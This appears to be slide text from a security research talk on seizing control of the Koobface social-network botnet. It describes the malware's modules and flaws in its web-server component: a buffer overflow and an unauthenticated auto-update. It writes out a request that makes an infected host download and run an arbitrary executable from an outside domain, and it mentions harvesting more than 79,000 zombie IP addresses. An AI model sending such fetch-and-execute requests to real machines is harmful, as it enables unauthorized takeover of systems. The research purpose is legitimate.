
0wning the koobface botnet



intro

• web 2.0 botnet
• spreads through social networks

– facebook
– myspace
– twitter, etc.















koobface loader
• Social network (Facebook, Myspace, Twitter, 

etc.) spreader
• Personal information and credentials stealer
• Google accounts creator
• Facebook auto-registration module
• Search hijacker
• Fake AV module
• Web server component



web server component

• makes every koobface zombie a web 
server
– serves the fake YouTube/Facebook pages
– serves the koobface loader





what about it?

• installed on all koobface zombies as a 
system service (webserver service)

• adds exemption in Windows Firewall for 
TCP port 80 (HTTP)

• reachable from the Internet



which means…

• further exposes koobface zombies to 
attacks from the Internet

• exposes the koobface botnet itself to 
attacks from the internet



what kind of attack?

• security holes in the web server 
component
– buffer overflow
– auto-update



buffer overflow



very long string in HTTP request



control of eip



auto-update

• can be used to remotely update the 
koobface web server binary

• triggered by the following web request

http://ip_address_of_zombie/?newver=http://

mydomain.com/new_version.exe 



how it auto-updates

• when triggered
– download the new web server binary
– drop and execute a batch file

• stop the webserver service
• replace the existing web server binary
• restart the webserver service



exploiting auto-update

• koobface blindly downloads “updated” 
binaries

• trigger auto-update to download arbitrary 
binaries

• new binary should cooperate nicely with 
the NT Service Controller



where are the targets?



revisiting the infection chain



koobface sites



koobface zombies

• create simple scripts to harvest all of the 
IP addresses

• 79,000+ zombies



zombie distribution



checklist

üweb server vulnerabilities
üexploits
ülist of targets

qtake over?



questions?


